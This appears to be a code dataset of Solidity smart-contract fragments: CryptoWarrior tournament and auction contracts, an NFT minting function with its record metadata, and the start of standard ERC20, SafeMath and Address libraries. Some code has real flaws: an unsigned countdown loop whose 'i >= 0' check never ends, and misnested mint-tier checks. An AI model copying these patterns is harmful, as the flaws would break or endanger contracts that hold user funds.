TournamentNewContender(_owner, packedWarriorIds, _fee); } function addTournamentContender(address _owner, uint256[] _tournamentData) external payable TournamentNotPaused{ // Caller must be pvpListener contract require(msg.sender == address(pvpListener)); require(_owner != address(0)); // //check current tournament bank > 0 require(pvpBattleFee == 0 || currentTournamentBank > 0); // //check that there is enough funds to pay entrance fee uint256 fee = getTournamentThresholdFee(); require(msg.value >= fee); //owner must withdraw all booty before contending pvp require(ownerToBooty[_owner] == 0); // //check that warriors group is exactly of allowed size require(_tournamentData.length == GROUP_SIZE); // //check that there is enough room for new participants require(tournamentQueueSize < maxTournamentContenders()); // //check that admission started require(block.number >= getTournamentAdmissionBlock()); //check that admission not ended require(block.number <= tournamentEndBlock); //all checks passed, trigger sign up _triggerNewTournamentContender(_owner, _tournamentData, fee); } //@dev collect all combined warriors data function getCombinedWarriors() internal view returns(uint256[] memory warriorsData) { uint256 length = tournamentQueueSize; warriorsData = new uint256[](length); for(uint256 i = 0; i < length; i ++) { // Grab the combined warrior data in storage. warriorsData[i] = tournamentQueue[i * DATA_SIZE + 1]; } return warriorsData; } function getTournamentState() external view returns (uint256 contendersCount, uint256 bank, uint256 admissionStartBlock, uint256 endBlock, uint256 incentiveReward) { contendersCount = tournamentQueueSize; bank = currentTournamentBank; admissionStartBlock = getTournamentAdmissionBlock(); endBlock = tournamentEndBlock; incentiveReward = _computeTournamentIncentiveReward(bank, _computeIncentiveCut(bank, tournamentIncentiveCut)); } function _repackToCombinedIds(uint256[] memory _warriorsData) internal view { uint256 length = _warriorsData.length; for(uint256 i = 0; i < length; i ++) { _warriorsData[i] = tournamentQueue[i * DATA_SIZE]; } } // @dev Computes warrior pvp reward // @param _totalBet - total bet from both competitors. function _computeTournamentBooty(uint256 _currentBank, uint256 _contenderResult, uint256 _totalBattles) internal pure returns (uint256){ // NOTE: We don't use SafeMath (or similar) in this function because _currentBank max is equal ~ 20000000 finney, // _totalBattles is guaranteed to be > 0 and <= 400, and (tournamentOwnersCut + tournamentIncentiveCut) <= 10000 (see the require() // statement in the Tournament constructor). The result of this // function is always guaranteed to be <= _reward. // return _currentBank * (10000 - tournamentOwnersCut - _incentiveCut) * _result / 10000 / _totalBattles; return _currentBank * _contenderResult / _totalBattles; } function _grandTournamentBooty(uint256 _warriorIds, uint256 _currentBank, uint256 _contenderResult, uint256 _totalBattles) internal returns (uint256) { uint256 warriorId = CryptoUtils._unpackWarriorId(_warriorIds, 0); address owner = warriorToOwner[warriorId]; uint256 booty = _computeTournamentBooty(_currentBank, _contenderResult, _totalBattles); return sendBooty(owner, booty); } function _grandTournamentRewards(uint256 _currentBank, uint256[] memory _warriorsData, uint32[] memory _results) internal returns (uint256){ uint256 length = _warriorsData.length; uint256 totalBattles = CryptoUtils._getTournamentBattles(length) * 10000;//*10000 required for booty computation uint256 incentiveCut = _computeIncentiveCut(_currentBank, tournamentIncentiveCut); uint256 contenderCut = _computeTournamentContenderCut(incentiveCut); uint256 failedBooty = 0; for(uint256 i = 0; i < length; i ++) { //grand rewards failedBooty += _grandTournamentBooty(_warriorsData[i], _currentBank, _results[i] * contenderCut, totalBattles); } //send beneficiary fee failedBooty += sendBooty(pvpListener.getBeneficiary(), _computeTournamentBeneficiaryFee(_currentBank)); if (failedBooty > 0) { totalBooty += failedBooty; } return _computeTournamentIncentiveReward(_currentBank, incentiveCut); } function _repackToWarriorOwners(uint256[] memory warriorsData) internal view { uint256 length = warriorsData.length; for (uint256 i = 0; i < length; i ++) { warriorsData[i] = uint256(warriorToOwner[CryptoUtils._unpackWarriorId(warriorsData[i], 0)]); } } function _triggerFinishTournament() internal returns(uint256){ //hold 10 random battles for each composite warrior uint256[] memory warriorsData = getCombinedWarriors(); uint32[] memory results = CryptoUtils.getTournamentBattleResults(warriorsData, tournamentEndBlock - 1); //repack combined warriors id _repackToCombinedIds(warriorsData); //notify pvp listener pvpListener.tournamentFinished(warriorsData); //reschedule //clear tournament tournamentQueueSize = 0; //schedule new tournament _scheduleTournament(); uint256 currentBank = currentTournamentBank; currentTournamentBank = 0;//nullify before sending to users //grand rewards, not susceptible to reentry attack //because of require(tournamentEndBlock <= block.number) //and require(tournamentQueueSize > 0) and currentTournamentBank == 0 uint256 incentiveReward = _grandTournamentRewards(currentBank, warriorsData, results); currentTournamentBank = nextTournamentBank; nextTournamentBank = 0; _repackToWarriorOwners(warriorsData); //emit event TournamentFinished(warriorsData, results, currentBank); return incentiveReward; } function finishTournament() external TournamentNotPaused { //make all the checks // tournament is ready to be executed require(tournamentEndBlock <= block.number); // we have participants require(tournamentQueueSize > 0); uint256 incentiveReward = _triggerFinishTournament(); //give reward for incentive safeSend(msg.sender, incentiveReward); } // @dev Remove all PVP contenders from PVP queue // and return all entrance fees to warrior owners. // NB: this is emergency method, used only in f%#^@up situation function removeAllTournamentContenders() external onlyOwner TournamentPaused { //remove all pvp contenders uint256 length = tournamentQueueSize; uint256 warriorId; uint256 failedBooty; uint256 i; uint256 fee; uint256 bank = currentTournamentBank; uint256[] memory warriorsData = new uint256[](length); //get tournament warriors for(i = 0; i < length; i ++) { warriorsData[i] = tournamentQueue[i * DATA_SIZE]; } //notify pvp listener pvpListener.tournamentFinished(warriorsData); //return entrance fee to warrior owners currentTournamentBank = 0; tournamentQueueSize = 0; for(i = length - 1; i >= 0; i --) { //return entrance fee warriorId = CryptoUtils._unpackWarriorId(warriorsData[i], 0); //compute contender entrance fee fee = bank - (bank * 10000 / (tournamentEntranceFeeCut * (10000 - THRESHOLD) / 10000 + 10000)); //return entrance fee to owner failedBooty += sendBooty(warriorToOwner[warriorId], fee); //subtract fee from bank, for next use bank -= fee; } currentTournamentBank = bank; totalBooty += failedBooty; } } contract BattleProvider is Tournament { function BattleProvider(address _pvpListener, uint256 _pvpCut, uint256 _tournamentCut, uint256 _incentiveCut, uint256 _tournamentOwnersCut, uint256 _tournamentIncentiveCut) public Tournament(_pvpCut, _tournamentCut, _incentiveCut, _tournamentOwnersCut, _tournamentIncentiveCut) { PVPListenerInterface candidateContract = PVPListenerInterface(_pvpListener); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isPVPListener()); // Set the new contract address pvpListener = candidateContract; // the creator of the contract is the initial owner owner = msg.sender; } // @dev Sanity check that allows us to ensure that we are pointing to the // right BattleProvider in our setBattleProviderAddress() call. function isPVPProvider() external pure returns (bool) { return true; } function setSecondsPerBlock(uint256 secs) external onlyOwner { secondsPerBlock = secs; } } /* warrior identity generator*/ contract WarriorGenerator is Pausable, SanctuaryInterface { CryptoWarriorCore public coreContract; /* LIMITS */ uint32[19] public parameters;/* = [ uint32(10),//0_bodyColorMax3 uint32(10),//1_eyeshMax4 uint32(10),//2_mouthMax5 uint32(20),//3_heirMax6 uint32(10),//4_heirColorMax7 uint32(3),//5_armorMax8 uint32(3),//6_weaponMax9 uint32(3),//7_hatMax10 uint32(4),//8_runesMax11 uint32(1),//9_wingsMax12 uint32(10),//10_petMax13 uint32(6),//11_borderMax14 uint32(6),//12_backgroundMax15 uint32(10),//13_unique uint32(900),//14_legendary uint32(9000),//15_mythic uint32(90000),//16_rare uint32(900000),//17_uncommon uint32(0)//18_uniqueTotal ];*/ function changeParameter(uint32 _paramIndex, uint32 _value) external onlyOwner { CryptoUtils._changeParameter(_paramIndex, _value, parameters); } // / @dev simply a boolean to indicate this is the contract we expect to be function isSanctuary() public pure returns (bool){ return true; } // / @dev generate new warrior identity // / @param _heroIdentity Genes of warrior that invoked resurrection, if 0 => Demigod gene that signals to generate unique warrior // / @param _heroLevel Level of the warrior // / @_targetBlock block number from which hash will be taken // / @_perkId special perk id, like MINER(1) // / @return the identity that are supposed to be passed down to newly arisen warrior function generateWarrior(uint256 _heroIdentity, uint256 _heroLevel, uint256 _targetBlock, uint256 _perkId) public returns (uint256) { //only core contract can call this method require(msg.sender == address(coreContract)); return _generateIdentity(_heroIdentity, _heroLevel, _targetBlock, _perkId); } function _generateIdentity(uint256 _heroIdentity, uint256 _heroLevel, uint256 _targetBlock, uint256 _perkId) internal returns(uint256){ //get memory copy, to reduce storage read requests uint32[19] memory memoryParams = parameters; //generate warrior identity uint256 identity = CryptoUtils.generateWarrior(_heroIdentity, _heroLevel, _targetBlock, _perkId, memoryParams); //validate before pushing changes to storage CryptoUtils._validateIdentity(identity, memoryParams); //push changes to storage CryptoUtils._recordWarriorData(identity, parameters); return identity; } } contract WarriorSanctuary is WarriorGenerator { uint256 internal constant SUMMONING_SICKENESS = 12 hours; uint256 internal constant RITUAL_DURATION = 15 minutes; /// @notice The payment required to use startRitual(). uint256 public ritualFee = 10 finney; uint256 public constant RITUAL_COMPENSATION = 2 finney; mapping(address => uint256) public soulCounter; // mapping(address => uint256) public ritualTimeBlock; bool public recoveryAllowed = true; event WarriorBurned(uint256 warriorId, address owner); event RitualStarted(address owner, uint256 numberOfSouls); event RitualFinished(address owner, uint256 numberOfSouls, uint256 newWarriorId); function WarriorSanctuary(address _coreContract, uint32[] _settings) public { uint256 length = _settings.length; require(length == 18); require(_settings[8] == 4);//check runes max require(_settings[10] == 10);//check pets max require(_settings[11] == 5);//check border max require(_settings[12] == 6);//check background max //setup parameters for(uint256 i = 0; i < length; i ++) { parameters[i] = _settings[i]; } //set core CryptoWarriorCore coreCondidat = CryptoWarriorCore(_coreContract); require(coreCondidat.isPVPListener()); coreContract = coreCondidat; } function recoverSouls(address[] owners, uint256[] souls, uint256[] blocks) external onlyOwner { require(recoveryAllowed); uint256 length = owners.length; require(length == souls.length && length == blocks.length); for(uint256 i = 0; i < length; i ++) { soulCounter[owners[i]] = souls[i]; ritualTimeBlock[owners[i]] = blocks[i]; } recoveryAllowed = false; } //burn warrior function burnWarrior(uint256 _warriorId) whenNotPaused external { coreContract.burnWarrior(_warriorId, msg.sender); soulCounter[msg.sender] ++; WarriorBurned(_warriorId, msg.sender); } function startRitual() whenNotPaused external payable { // Checks for payment. require(msg.value >= ritualFee); uint256 souls = soulCounter[msg.sender]; // Check that address has at least 10 burned souls require(souls >= 10); // //Check that no rituals are in progress require(ritualTimeBlock[msg.sender] == 0); ritualTimeBlock[msg.sender] = RITUAL_DURATION / coreContract.secondsPerBlock() + block.number; // Calculate any excess funds included in msg.value. If the excess // is anything worth worrying about, transfer it back to message owner. // NOTE: We checked above that the msg.value is greater than or // equal to the price so this cannot underflow. uint256 feeExcess = msg.value - ritualFee; // Return the funds. This is not susceptible // to a re-entry attack because of _isReadyToPVE check // will fail if (feeExcess > 0) { msg.sender.transfer(feeExcess); } //send battle fee to beneficiary coreContract.getBeneficiary().transfer(ritualFee - RITUAL_COMPENSATION); RitualStarted(msg.sender, souls); } //arise warrior function finishRitual(address _owner) whenNotPaused external { // Check ritual time is over uint256 timeBlock = ritualTimeBlock[_owner]; require(timeBlock > 0 && timeBlock <= block.number); uint256 souls = soulCounter[_owner]; require(souls >= 10); uint256 identity = _generateIdentity(uint256(_owner), souls, timeBlock - 1, 0); uint256 warriorId = coreContract.ariseWarrior(identity, _owner, block.number + (SUMMONING_SICKENESS / coreContract.secondsPerBlock())); soulCounter[_owner] = 0; ritualTimeBlock[_owner] = 0; //send compensation msg.sender.transfer(RITUAL_COMPENSATION); RitualFinished(_owner, 10, warriorId); } function setRitualFee(uint256 _pveRitualFee) external onlyOwner { require(_pveRitualFee > RITUAL_COMPENSATION); ritualFee = _pveRitualFee; } } contract AuctionBase { uint256 public constant PRICE_CHANGE_TIME_STEP = 15 minutes; // struct Auction{ address seller; uint128 startingPrice; uint128 endingPrice; uint64 duration; uint64 startedAt; } mapping (uint256 => Auction) internal tokenIdToAuction; uint256 public ownerCut; ERC721 public nonFungibleContract; event AuctionCreated(uint256 tokenId, address seller, uint256 startingPrice); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner, address seller); event AuctionCancelled(uint256 tokenId, address seller); function _owns(address _claimant, uint256 _tokenId) internal view returns (bool){ return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } function _escrow(address _owner, uint256 _tokenId) internal{ nonFungibleContract.transferFrom(_owner, address(this), _tokenId); } function _transfer(address _receiver, uint256 _tokenId) internal{ nonFungibleContract.transfer(_receiver, _tokenId); } function _addAuction(uint256 _tokenId, Auction _auction) internal{ require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; AuctionCreated(uint256(_tokenId), _auction.seller, _auction.startingPrice); } function _cancelAuction(uint256 _tokenId, address _seller) internal{ _removeAuction(_tokenId); _transfer(_seller, _tokenId); AuctionCancelled(_tokenId, _seller); } function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256){ Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); uint256 price = _currentPrice(auction); require(_bidAmount >= price); address seller = auction.seller; _removeAuction(_tokenId); if (price > 0) { uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; seller.transfer(sellerProceeds); nonFungibleContract.getBeneficiary().transfer(auctioneerCut); } uint256 bidExcess = _bidAmount - price; msg.sender.transfer(bidExcess); AuctionSuccessful(_tokenId, price, msg.sender, seller); return price; } function _removeAuction(uint256 _tokenId) internal{ delete tokenIdToAuction[_tokenId]; } function _isOnAuction(Auction storage _auction) internal view returns (bool){ return (_auction.startedAt > 0); } function _currentPrice(Auction storage _auction) internal view returns (uint256){ uint256 secondsPassed = 0; if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice(_auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed); } function _computeCurrentPrice(uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed) internal pure returns (uint256){ if (_secondsPassed >= _duration) { return _endingPrice; } else { int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed / PRICE_CHANGE_TIME_STEP * PRICE_CHANGE_TIME_STEP) / int256(_duration); int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } function _computeCut(uint256 _price) internal view returns (uint256){ return _price * ownerCut / 10000; } } contract SaleClockAuction is Pausable, AuctionBase { bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9f40b779); bool public isSaleClockAuction = true; uint256 public minerSaleCount; uint256[5] public lastMinerSalePrices; function SaleClockAuction(address _nftAddress, uint256 _cut) public{ require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); require(candidateContract.getBeneficiary() != address(0)); nonFungibleContract = candidateContract; } function cancelAuction(uint256 _tokenId) external{ AuctionBase.Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyOwner external{ AuctionBase.Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } function getCurrentPrice(uint256 _tokenId) external view returns (uint256){ AuctionBase.Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } function createAuction(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller) whenNotPaused external{ require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); AuctionBase.Auction memory auction = Auction(_seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now)); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) whenNotPaused external payable{ address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); if (seller == nonFungibleContract.getBeneficiary()) { lastMinerSalePrices[minerSaleCount % 5] = price; minerSaleCount++; } } function averageMinerSalePrice() external view returns (uint256){ uint256 sum = 0; for (uint256 i = 0; i < 5; i++){ sum += lastMinerSalePrices[i]; } return sum / 5; } /**getAuctionsById returns packed actions data * @param tokenIds ids of tokens, whose auction's must be active * @return auctionData as uint256 array * @return stepSize number of fields describing auction */ function getAuctionsById(uint32[] tokenIds) external view returns(uint256[] memory auctionData, uint32 stepSize) { stepSize = 6; auctionData = new uint256[](tokenIds.length * stepSize); uint32 tokenId; for(uint32 i = 0; i < tokenIds.length; i ++) { tokenId = tokenIds[i]; AuctionBase.Auction storage auction = tokenIdToAuction[tokenId]; require(_isOnAuction(auction)); _setTokenData(auctionData, auction, tokenId, i * stepSize); } } /**getAuctions returns packed actions data * @param fromIndex warrior index from global warrior storage (aka warriorId) * @param count Number of auction's to find, if count == 0, then exact warriorId(fromIndex) will be searched * @return auctionData as uint256 array * @return stepSize number of fields describing auction */ function getAuctions(uint32 fromIndex, uint32 count) external view returns(uint256[] memory auctionData, uint32 stepSize) { stepSize = 6; if (count == 0) { AuctionBase.Auction storage auction = tokenIdToAuction[fromIndex]; require(_isOnAuction(auction)); auctionData = new uint256[](1 * stepSize); _setTokenData(auctionData, auction, fromIndex, count); return (auctionData, stepSize); } else { uint256 totalWarriors = nonFungibleContract.totalSupply(); if (totalWarriors == 0) { // Return an empty array return (new uint256[](0), stepSize); } else { uint32 totalSize = 0; uint32 tokenId; uint32 size = 0; auctionData = new uint256[](count * stepSize); for (tokenId = 0; tokenId < totalWarriors && size < count; tokenId++) { AuctionBase.Auction storage auction1 = tokenIdToAuction[tokenId]; if (_isOnAuction(auction1)) { totalSize ++; if (totalSize > fromIndex) { _setTokenData(auctionData, auction1, tokenId, size++ * stepSize);//warriorId; } } } if (size < count) { size *= stepSize; uint256[] memory repack = new uint256[](size); for(tokenId = 0; tokenId < size; tokenId++) { repack[tokenId] = auctionData[tokenId]; } return (repack, stepSize); } return (auctionData, stepSize); } } } // @dev Returns auction info for an NFT on auction. // @param _tokenId - ID of NFT on auction. function getAuction(uint256 _tokenId) external view returns( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ){ Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return (auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt); } //pack NFT data into specified array function _setTokenData(uint256[] memory auctionData, AuctionBase.Auction storage auction, uint32 tokenId, uint32 index ) internal view { auctionData[index] = uint256(tokenId);//0 auctionData[index + 1] = uint256(auction.seller);//1 auctionData[index + 2] = uint256(auction.startingPrice);//2 auctionData[index + 3] = uint256(auction.endingPrice);//3 auctionData[index + 4] = uint256(auction.duration);//4 auctionData[index + 5] = uint256(auction.startedAt);//5 } }
Remove all PVP contenders from PVP queue and return all bets to warrior owners. NB: this is emergency method, used only in f%^@up situationremove all pvp contendersgrab warrior datanotify battle listenerreturn pvp bet
function removeAllPVPContenders() external onlyOwner PVPPaused { uint256 length = pvpQueueSize; uint256 warriorData; uint256 warriorId; uint256 failedBooty; address owner; pvpQueueSize = 0; for(uint256 i = 0; i < length; i++) { warriorData = pvpQueue[i]; warriorId = CryptoUtils._unpackIdValue(warriorData); pvpListener.pvpContenderRemoved(uint32(warriorId)); owner = warriorToOwner[warriorId]; failedBooty += sendBooty(owner, _getPVPFeeByLevel(CryptoUtils._unpackLevelValue(warriorData))); } totalBooty += failedBooty; }
5,942,414
./full_match/1/0x0d8881D36504F58aC2ab5CAd60Bd773665A377d2/sources/src/1984Serum.sol
Mint any number of nfts _count Number of NFTs to mint
function mintNFTs(uint256 _count) public payable { require(mint_active, 'Mint is not active yet, please try again later.'); require(_count > 0, 'Cannot mint negative number of NFTs.'); if (public_mint_active) { require(msg.value >= price.mul(_count), 'Not enough ether to purchase NFTs.'); } uint256 totalMinted = _tokenIds.current(); require(totalMinted.add(_count) < MAX_SUPPLY, 'Not enough NFTs left!'); uint256 tokensToMint = _count + addressToMinted[msg.sender]; require(tokensToMint <= MAX_PER_MINT, 'Minting too many NFTs.'); if (!public_mint_active) { _1984Redux nft = _1984Redux(nftAddress); uint256 mintedBySender = nft.balanceOf(msg.sender); if (tokensToMint >= 5) { require(mintedBySender >= 10, 'Minting more than 4 vials requires 10 or more tokens'); require(mintedBySender >= 5, 'Minting more than 1 vials requires 5 or more tokens'); require(mintedBySender >= 2, 'Minting a vial requires 2 or more tokens'); } } addressToMinted[msg.sender] = tokensToMint; for (uint256 i = 0; i < _count; i++) { uint256 newTokenID = _tokenIds.current(); _safeMint(msg.sender, newTokenID); _tokenIds.increment(); } }
8,484,153
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly {size := extcodesize(account)} return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value : amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value : weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply 